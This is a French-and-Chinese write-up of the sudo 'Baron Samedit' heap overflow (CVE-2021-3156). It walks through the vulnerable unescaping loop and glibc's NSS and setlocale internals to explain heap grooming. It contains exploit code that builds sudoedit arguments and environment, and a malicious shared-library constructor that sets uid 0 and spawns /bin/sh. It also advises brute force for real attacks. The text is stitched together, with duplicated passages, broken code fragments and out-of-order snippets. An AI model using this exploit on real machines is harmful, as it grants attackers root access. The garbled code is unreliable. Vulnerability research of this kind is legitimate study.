Le contenu lié au débogage est décrit plus loin dans [quelques commandes de débogage](#一些调试命令)


## Principe de la vulnérabilité

Payload de déclenchement de la vulnérabilité```shell
sudoedit -s '\' `python3 -c "print('A'*80)"`

··· ···
··· ···

/* Parse command line arguments. */
//在这里处理输入参数，设置sudo_mode
sudo_mode = parse_args(argc, argv, &nargc, &nargv, &settings, &env_add);

··· ···
··· ···
    
switch (sudo_mode & MODE_MASK) {
··· ···
··· ···
case MODE_EDIT:
case MODE_RUN:
    ok = policy_check(&policy_plugin, nargc, nargv, env_add,
	&command_info, &argv_out, &user_env_out);
    ··· ···
    ··· ···
}

··· ···
··· ···

- D'abord, nous appelons la fonction `parse_args` pour traiter les paramètres saisis. En réalité, ici nous n'avons saisi qu'un `-s`, il n'y a rien de particulier à configurer, nous définissons sudo_mode sur MODE_EDIT et MODE_SHELL.

- Ensuite, selon la valeur de sudo_mode, MODE_EDIT appelle policy_check.

Ensuite, la fonction policy_check dans sudo.c (sudo.c: 1136) :```c
static int
policy_check(struct plugin_container *plugin, int argc, char * const argv[],
    char *env_add[], char **command_info[], char **argv_out[],
    char **user_env_out[])
{
    ··· ···
    ··· ···
    ret = plugin->u.policy->check_policy(argc, argv, env_add, command_info,
	argv_out, user_env_out);
    ···
}

exec_args.argv = argv_out;
exec_args.envp = user_env_out;
exec_args.info = command_infop;

ret = sudoers_policy_main(argc, argv, 0, env_add, &exec_args);
··· ···
··· ···

Ensuite, la fonction sudoers_policy_main dans sudoers.c a été appelée (sudoers.c: 224) ：```c
int
sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],
    void *closure)
{
    ··· ···
    ··· ···

    /*
     * Make a local copy of argc/argv, with special handling
     * for pseudo-commands and the '-i' option.
     */
    if (argc == 0) {
	··· ···
    } else {
	/* Must leave an extra slot before NewArgv for bash's --login */
	NewArgc = argc;
	NewArgv = reallocarray(NULL, NewArgc + 2, sizeof(char *));
	··· ···
	}
	memcpy(++NewArgv, argv, argc * sizeof(char *));
	NewArgv[NewArgc] = NULL;
	··· ···
	}
    }
	··· ···
    cmnd_status = set_cmnd();
    ··· ···
    ··· ···
    ··· ···
}

/* set user_args */
if (NewArgc > 1) {
    char *to, *from, **av;
    size_t size, n;

    /* Alloc and build up user_args. */
    //根据参数总长度计算size， 后续malloc 申请，没有问题
    for (size = 0, av = NewArgv + 1; *av; av++)
	size += strlen(*av) + 1;
    if (size == 0 || (user_args = malloc(size)) == NULL) {
	sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
	debug_return_int(-1);
    }
    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
	/*
	 * When running a command via a shell, the sudo front-end
	 * escapes potential meta chars.  We unescape non-spaces
	 * for sudoers matching and logging purposes.
	 */
     //将所有参数拷贝到一起放到堆中，逻辑是遇到'\'加非空格类型字符则只拷贝非空格字符
     //但这里\x00 并不算空格类型字符
     //他没有考虑参数如果只有一个'\'或以'\'结尾并且下两个字符后就是另一个字符串情况
	for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
	    while (*from) {
		if (from[0] == '\\' && !isspace((unsigned char)from[1]))
		    from++;
		*to++ = *from++;
	    }
	    *to++ = ' ';
	}
	*--to = '\0';
    } 
    ··· ···
}
}
··· ···
··· ···

L'overflow se produit également ici. D'après les commentaires dans le code, on peut voir que le débordement de tas se produit lors de la copie vers le tas. L'intention originale de ce code est assez simple à comprendre : copier tous les arguments de NewArgv dans le tas, séparés par des espaces, et lorsqu'on rencontre `\+非空格类字符`, ne copier que ce caractère.

**Mais il ne prend pas en compte un cas : si un élément de NewArgv se termine par `\`, cela donne une structure `\+\x00`, et `\x00` n'est pas un caractère de type espace (incroyable). Cela signifie qu'après avoir copié `\x00` dans le tas, la variable from est incrémentée (deux fois dans une seule boucle), ce qui lui fait sauter l'occasion de passer la condition while qui détecte le marqueur de fin `\x00`, et elle considère que les arguments n'ont pas fini d'être copiés et continue à copier jusqu'au prochain `\x00`.**

Dans ce scénario, on peut voir que `\+\x00` est immédiatement suivi du paramètre suivant `A*80`, donc la copie continue jusqu'à la fin de `A*80`. Mais n'oubliez pas que le traitement réel de `A*80` continue ensuite, et qu'il sera copié à nouveau. Au total, `A*80` est donc copié deux fois, alors que le chunk a été alloué pour une taille correspondant à une seule chaîne `A*80`, ce qui dépasse largement la longueur demandée pour le chunk.

image-20220123113907744

Ensuite, cela provoque le débordement. Avant la copie :

image-20220123114036691

Après la copie :

image-20220123114137794

Le chemin global de déclenchement de la vulnérabilité est le suivant (lors du débogage, il suffit de placer des points d'arrêt sur ces fonctions) :

- sudo.c : main
  - sudo.c : policy_check
    - policy.c : sudoerrs_policy_check
      - sudoers.c : sudoers_policy_main
        - sudoers.c : set_cmnd
          - sudoers.c : 859

## Principe d'exploitation de la vulnérabilité

Nous nous sommes référés à [blasty/CVE-2021-3156](https://github.com/blasty/CVE-2021-3156), **mais sa méthode de mise en page du tas est difficile à reproduire ; ici, nous analysons en détail la méthode de mise en page du tas**. En passant la variable d'environnement `LC_*`, on organise le tas, puis on fait en sorte que le chunk qui déborde recouvre exactement la structure service_user que la fonction nss_load_library doit charger pour le so, on écrase la chaîne du nom du so dans cette structure, puis le programme charge le so que nous spécifions pour exécuter du code arbitraire.

Bien que la logique paraisse claire, les détails à régler restent assez délicats :

1. Les structures de données et mécanismes associés dans nss_load_library
2. Comment setlocale réalise la mise en page du tas via la variable d'environnement `LC_*`

Dans la suite, nous appellerons le chunk qui peut déborder lors de la vulnérabilité « vuln chunk », et la cible du débordement « target chunk ».

### Principe de nss

Commençons par examiner le code clé de l'exploitation :

glibc/nss/nsswitch.c: 377 nss_load_library()```c
static int
nss_load_library (service_user *ni)
{
  if (ni->library == NULL)
    {
      static name_database default_table;
      ni->library = nss_new_service (service_table ?: &default_table,
				     ni->name);
      if (ni->library == NULL)
	return -1;
    }

  if (ni->library->lib_handle == NULL)
    {
      ··· ···
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
					      "libnss_"),
				    ni->name),
			  ".so"),
		__nss_shlib_revision);

      ni->library->lib_handle = __libc_dlopen (shlib_name);
      ··· ···
      ··· ···
  }
}

Ceci est un fichier de configuration. C'est à travers ces chemins et cet ordre (en réalité, quels .so utiliser) que l'on recherche les méthodes. On peut également spécifier quelles actions le système entreprendra lorsqu'une méthode donnée fonctionne ou échoue.

Ce que je comprends, c'est qu'il définit d'où le programme doit récupérer les informations requises, telles que les informations utilisateur, le réseau, les informations d'adresse, etc. Dans le programme, cela se manifeste par l'appel de cette fonction depuis un .so différent. L'implémentation de cette fonction dans les différents .so constitue la méthode pour récupérer ces informations.

Passons maintenant aux trois structures :```c
typedef struct service_user
{
  /* And the link to the next entry.  */
  struct service_user *next;
  /* Action according to result.  */
  lookup_actions actions[5];
  /* Link to the underlying library object.  */
  service_library *library;
  /* Collection of known functions.  */
  void *known;
  /* Name of the service (`files', `dns', `nis', ...).  */
  char name[0];
} service_user;

typedef struct name_database_entry
{
  /* And the link to the next entry.  */
  struct name_database_entry *next;
  /* List of service to be used.  */
  service_user *service;
  /* Name of the database.  */
  char name[0];
} name_database_entry;

typedef struct name_database
{
  /* List of all known databases.  */
  name_database_entry *entry;
  /* List of libraries with service implementation.  */
  service_library *library;
} name_database;

glibc/nss/nsswitch.c : 541```c
static name_database *
nss_parse_file (const char *fname)
{
  FILE *fp;
  name_database *result;
  name_database_entry *last;
  ··· ···
  //打开/etc/nsswitch.conf
  fp = fopen (fname, "rce");
  ··· ···
  result = (name_database *) malloc (sizeof (name_database));
  ··· ···
  do
    {
      name_database_entry *this;
      ssize_t n;
      n = __getline (&line, &len, fp);// getline 这里会申请一个0x80 大小的chunk
      
      ··· ···
          
      this = nss_getline (line);
      if (this != NULL)
	{
	  if (last != NULL)
	    last->next = this;
	  else
	    result->entry = this;

	  last = this;
	}
    }
  while (!feof_unlocked (fp));

  /* Free the buffer.  */
  free (line); //在函数返回之前会将getline 函数申请的0x80 chunk 释放掉。
  /* Close configuration file.  */
  fclose (fp);

  return result;
}

Il appelle d'abord `__nss_database_lookup` qui, en fonction de la chaîne `DATABASE_NAME_STRING` transmise (dont le contenu est passwd, group, shadow, etc.), trouve le service correspondant : il recherche la zone rouge dans la figure ci-dessous pour trouver une correspondance et renvoie le pointeur de service. Si c'est la première recherche et que les entrées sont toutes vides, alors l'initialisation a lieu (mentionnée ci-dessus).

image-20220123133933696

Ensuite, il appelle `__nss_lookup` qui, en boucle, appelle `__nss_lookup_function` pour rechercher, à partir de la liste chaînée de services, le service où se trouve la fonction correspondante, puis rappelle `nss_load_library` , obtient le handle du .so, puis recherche la fonction correspondante, le code est le suivant :

glibc/nss/nsswitch.c : 194```c
int
__nss_lookup (service_user **ni, const char *fct_name, const char *fct2_name,
	      void **fctp)
{
  *fctp = __nss_lookup_function (*ni, fct_name);
  ··· ···
  while (*fctp == NULL
	 && nss_next_action (*ni, NSS_STATUS_UNAVAIL) == NSS_ACTION_CONTINUE
	 && (*ni)->next != NULL)
    {
      *ni = (*ni)->next;

      *fctp = __nss_lookup_function (*ni, fct_name);
      ··· ···
    }

  return *fctp != NULL ? 0 : (*ni)->next == NULL ? 1 : -1;
}
libc_hidden_def (__nss_lookup)

  if (ni->library->lib_handle == (void *) -1l)
    /* Library not found => function not found.  */
    result = NULL;
  else
    {
      ··· ···
          
      /* Construct the function name.  */
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (name, "_nss_"),
				    ni->name),
			  "_"),
		fct_name);

      /* Look up the symbol.  */
      result = __libc_dlsym (ni->library->lib_handle, name);
    }
    
    ··· ···
    ··· ···

}
···

可以看出，只要调用了 libnss_xxx.so 之中的函数，就必会调用到 `nss_load_library` ，即便该so 已经装载过了。所以，根据已知exp 的思路，**只需要知道堆溢出发生之后，第一个被调用的libnss相关的函数属于哪个so，然后通过堆布局将该so 所属的`service_user` 结构体布局到 vuln chunk 后面即可。但根据我再多个环境中的测试发现，即便是相同版本，自己编译的和发行版，代码的结构都不太一样**，这里使用我自己的调试环境重新分析编写一份exp。

### 回到调试环境

我自己搭建的这个调试环境（docker）就是自己编译的sudo，有调试符号，具体信息如下：

---

On peut voir que dès qu'une fonction de libnss_xxx.so est appelée, `nss_load_library` sera forcément invoquée, même si ce .so a déjà été chargé. Donc, selon le raisonnement de l'exploit connu, **il suffit de savoir à quel .so appartient la première fonction liée à libnss appelée après le débordement de tas, puis, grâce à l'agencement du tas, de placer la structure `service_user` correspondant à ce .so juste après le chunk vulnérable. Cependant, d'après mes tests dans plusieurs environnements, même pour une même version, la structure du code diffère entre une compilation maison et une version de distribution**. J'utilise donc ici mon propre environnement de débogage pour réanalyser et rédiger un exploit.

### Retour à l'environnement de débogage

L'environnement de débogage que j'ai moi-même mis en place (docker) est un sudo compilé par mes soins, avec symboles de débogage. Voici les informations détaillées :```
ubuntu 18.04 LTS
libc-2.27
sudo 1.8.21

    if (newdata[category] == NULL)
      {//返回null 则会跳出循环
	···
	break;
      }

    ··· ···

    /* Make a copy of locale name.  */
    if (newnames[category] != _nl_C_name)
      {
	if (strcmp (newnames[category],
		    _nl_global_locale.__names[category]) == 0)
	  newnames[category] = _nl_global_locale.__names[category];
	else
	  {
        //这个strdup 很关键
	    newnames[category] = __strdup (newnames[category]);
	    if (newnames[category] == NULL)
	      break;
	  }
      }
  }

  /* Create new composite name.  */
  composite = (category >= 0
	   ? NULL : new_composite_name (LC_ALL, newnames));
  if (composite != NULL)
{
    ··· ···
}
  else
for (++category; category < __LC_LAST; ++category)//校验
  if (category != LC_ALL && newnames[category] != _nl_C_name
      && newnames[category] != _nl_global_locale.__names[category])
    //这个free 很关键，这里是一处循环free，可以集中free 一堆chunk
    free ((char *) newnames[category]);

  /* Critical section left.  */
  __libc_rwlock_unlock (__libc_setlocale_lock);

  /* Free the resources.  */
  free (locale_path);
  free (locale_copy);

  return composite;
}

··· ···
··· ···
  

`setlocale` 函数是关于一些语言环境乱七八糟有关的，相关环境变量参数有以下几种：```c
#define __LC_CTYPE		 0
#define __LC_NUMERIC		 1
#define __LC_TIME		 2
#define __LC_COLLATE		 3
#define __LC_MONETARY		 4
#define __LC_MESSAGES		 5
#define __LC_ALL		 6
#define __LC_PAPER		 7
#define __LC_NAME		 8
#define __LC_ADDRESS		 9
#define __LC_TELEPHONE		10
#define __LC_MEASUREMENT	11
#define __LC_IDENTIFICATION	12

  if (locale_file == NULL)
return NULL;
}

Dans la fonction `_nl_find_locale`, on commence par appeler la fonction `_nl_explode_name` pour assigner le masque (`mask`) en fonction de la valeur de la variable d’environnement (comme indiqué dans mes commentaires dans le code). On vérifie principalement s’il y a un pays, une langue et un suffixe personnalisé par l’utilisateur, ces trois éléments. Si c’est le cas, les masques correspondants sont définis, dont deux pour la langue, soit quatre au total. Ensuite, l’appel à la fonction `_nl_make_l0nflist` fait directement que `_nl_find_locale` retourne vide, déclenchant ainsi le `break` de la boucle dans `setlocale` ci-dessus (très important).

Examinons maintenant la fonction `_nl_make_l0nflist` :

glibc/intl/l0nflist.c : 150```c
struct loaded_l10nfile *
_nl_make_l10nflist (struct loaded_l10nfile **l10nfile_list,
		    const char *dirlist, size_t dirlist_len,
		    int mask, const char *language, const char *territory,
		    const char *codeset, const char *normalized_codeset,
		    const char *modifier,
		    const char *filename, int do_allocate)
{
  char *abs_filename;
  struct loaded_l10nfile *last = NULL;
  struct loaded_l10nfile *retval;
  char *cp;
  size_t entries;
  int cnt;

  /* Allocate room for the full file name.  */
  //根据mask 的值会组成不同的文件路径，长度自然不同，根据长度申请chunk
  abs_filename = (char *) malloc (dirlist_len
				  + strlen (language)
				  + ((mask & XPG_TERRITORY) != 0
				     ? strlen (territory) + 1 : 0)
				  + ((mask & XPG_CODESET) != 0
				     ? strlen (codeset) + 1 : 0)
				  + ((mask & XPG_NORM_CODESET) != 0
				     ? strlen (normalized_codeset) + 1 : 0)
				  + ((mask & XPG_MODIFIER) != 0
				     ? strlen (modifier) + 1 : 0)
				  + 1 + strlen (filename) + 1);

  if (abs_filename == NULL)
    return NULL;

  retval = NULL;
  last = NULL;

  /* Construct file name.  */
  //根据文件名，也就是mask决定的内容进行拼接文件名
  memcpy (abs_filename, dirlist, dirlist_len);
  __argz_stringify (abs_filename, dirlist_len, ':');
  cp = abs_filename + (dirlist_len - 1);
  *cp++ = '/';
  cp = stpcpy (cp, language);

  if ((mask & XPG_TERRITORY) != 0)
    {
      *cp++ = '_';
      cp = stpcpy (cp, territory);
    }
  if ((mask & XPG_CODESET) != 0)
    {
      *cp++ = '.';
      cp = stpcpy (cp, codeset);
    }
  if ((mask & XPG_NORM_CODESET) != 0)
    {
      *cp++ = '.';
      cp = stpcpy (cp, normalized_codeset);
    }
  if ((mask & XPG_MODIFIER) != 0)
    {
      *cp++ = '@';
      cp = stpcpy (cp, modifier);
    }

  *cp++ = '/';
  stpcpy (cp, filename);

  ··· ···
  //如果已经已经存在同名文件，则释放刚申请的chunk
  if (retval != NULL || do_allocate == 0)
    {
      free (abs_filename);
      return retval;
    }

  retval = (struct loaded_l10nfile *)
    malloc (sizeof (*retval) + (__argz_count (dirlist, dirlist_len)
				* (1 << pop (mask))
				* sizeof (struct loaded_l10nfile *)));
  if (retval == NULL)
    {
      free (abs_filename);
      return NULL;
    }

  retval->filename = abs_filename;
  /* If more than one directory is in the list this is a pseudo-entry
     which just references others.  We do not try to load data for it,
     ever.  */
  retval->decided = (__argz_count (dirlist, dirlist_len) != 1
		     || ((mask & XPG_CODESET) != 0
			 && (mask & XPG_NORM_CODESET) != 0));
  retval->data = NULL;

  if (last == NULL)
    {
      retval->next = *l10nfile_list;
      *l10nfile_list = retval;
    }
  else
    {
      retval->next = last->next;
      last->next = retval;
    }

  entries = 0;
  /* If the DIRLIST is a real list the RETVAL entry corresponds not to
     a real file.  So we have to use the DIRLIST separation mechanism
     of the inner loop.  */
  //这里会进行递归的搜索，根据mask 来讲所有的组合全部找到
  //每次mask 值会-1，这样遍历所有mask可能
  cnt = __argz_count (dirlist, dirlist_len) == 1 ? mask - 1 : mask;
  for (; cnt >= 0; --cnt)
    if ((cnt & ~mask) == 0)
      {
	/* Iterate over all elements of the DIRLIST.  */
	char *dir = NULL;

	while ((dir = __argz_next ((char *) dirlist, dirlist_len, dir))
	       != NULL)
	  retval->successor[entries++]
	    = _nl_make_l10nflist (l10nfile_list, dir, strlen (dir) + 1, cnt,
				  language, territory, codeset,
				  normalized_codeset, modifier, filename, 1);
      }
  retval->successor[entries] = NULL;

  return retval;
}

Parmi eux, dir(/usr/lib/locale), language(C) et filename(nom de variable d'environnement) sont tous fixes ; le contenu entre crochets peut être généré facultativement selon la valeur du mask. Par exemple :```
LC_IDENTIFICATION=C.UTF-8@AAAAAAAAAAA

Selon les différents masques, peuvent être générés :```
1011: /usr/lib/locale/C.UTF-8.utf8@AAAAAAAAAAA/LC_IDENTIFICATION
0000: /usr/lib/locale/C/LC_IDENTIFICATION
1111: /usr/lib/locale/C.UTF-8.utf8@AAAAAAAAAAA/LC_IDENTIFICATION
0111: /usr/lib/locale/C.UTF-8.utf8/LC_IDENTIFICATION

Calculer x, y tels que :```
(x+y)+(x+y)+(x+y+1)+(x+y-2)+... ...+(y+1) 刚好 < 0x650 
2x+y = 0xa0-0x10

De mon côté, j'obtiens :```
x=11
y=121

while ((signed int)(offset-len)<2)
{
    x--;
    y=size-1-x*2;
    len=x+y+(x+y+1)*x/2;
    if(x<0)
        return -1;
}
int envoff=offset-len-2+0x30;
printf("%d,%d,%d\n",x,y,len);
char * Astring=malloc(size);
int i=0;
for(i=0;i<y;i++)
    Astring[i]='A';
Astring[i]='\x00';

argv[argvnow++]="sudoedit";
argv[argvnow++]="-s";
for (i=0;i<x;i++)
    argv[argvnow++]="\\";
argv[argvnow++]=Astring;
argv[argvnow++]="\\";
argv[argvnow++]=NULL;
for(i=0;i<envoff;i++)
    envp[envnow++]="\\";
envp[envnow++]="X/test";
return 0;

execve("/usr/local/bin/sudoedit",argv,envp);

Voici lib.c :```c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static void __attribute__ ((constructor)) _init(void);

static void _init(void) {
        printf("[+] bl1ng bl1ng! We got it!\n");
#ifndef BRUTE
        setuid(0); seteuid(0); setgid(0); setegid(0);
        static char *a_argv[] = { "sh", NULL };
        static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
        execv("/bin/sh", a_argv);
#endif
}

Succès :

image-20220123115529219

### Méthode pour modifier l'exp dans un environnement spécifique

C'est surtout pour faciliter sa propre recherche et le débogage, et non pour une attaque réelle. Pour une attaque réelle, le brute force reste recommandé ; il faut connaître les points suivants selon l'environnement :

1. La taille contrôlable de vuln, c'est-à-dire le free tcache laissé dans setlocale, qui ne sera pas consommé avant l'allocation de vuln ; il faut trouver une taille appropriée (correspondant à 0xa0 dans mon exp)
2. Où placer vuln, c'est-à-dire combien de chunks 0x40 se trouvent avant le chunk vuln et combien de chunks 0x40 après (correspondant aux fonctions addChunk dans la fonction main de mon exp).
3. La distance entre le chunk cible et le chunk vuln, c'est-à-dire target chunk addr - vuln chunk addr (correspondant à 0x650 dans mon exp).

En modifiant les trois points ci-dessus, il y a de très fortes chances de réussir directement.

## Facteurs influençant l'exploitation de la vulnérabilité

Les facteurs influençant la disposition du tas sont très nombreux. Pour la même version de sudo, des options de compilation différentes modifient la disposition du tas (dès qu'une fonction participant à l'allocation du tas est ajoutée ou supprimée avant le débordement, il y a une très forte probabilité que la disposition du tas change).

La disposition du tas de sudo d'une distribution et celle de la version compilée soi-même sont différentes.

Une différence dans le fichier de configuration global de sudo peut également avoir un impact.

Des fichiers génériques tels que passwd peuvent également avoir un impact.

Un fichier nsswitch.conf différent peut avoir un impact.

Version de glibc

Autres environnements globaux (ou fichiers d'environnement)

## Mesures d'atténuation

Mettre à jour vers la dernière version.

## Quelques commandes de débogage```
watch rwatch awatch 内存断点
catch exec
set follow-exec-mode new 调试exp 的时候捕获子进程

Pour voir la première fonction nss appelée après le débordement de tas, commencez par placer un point d'arrêt sur le point de débordement :```
b policy_check  #先断离溢出点比较近的位置，直接断溢出点找不到
c
b sudoers.c:849 #malloc前
b sudoers.c:859 #溢出chunk 刚申请完毕
b sudoers.c:867 #溢出完成
c #断住之后再断nss_load_library
b nss_load_library 
c #断nss_load_library
bt #查看调用栈

## Références

Blog d'un expert interne

52破解 Blog: https://www.52pojie.cn/thread-1439734-1-1.html

blasty's POC: https://github.com/blasty/CVE-2021-3156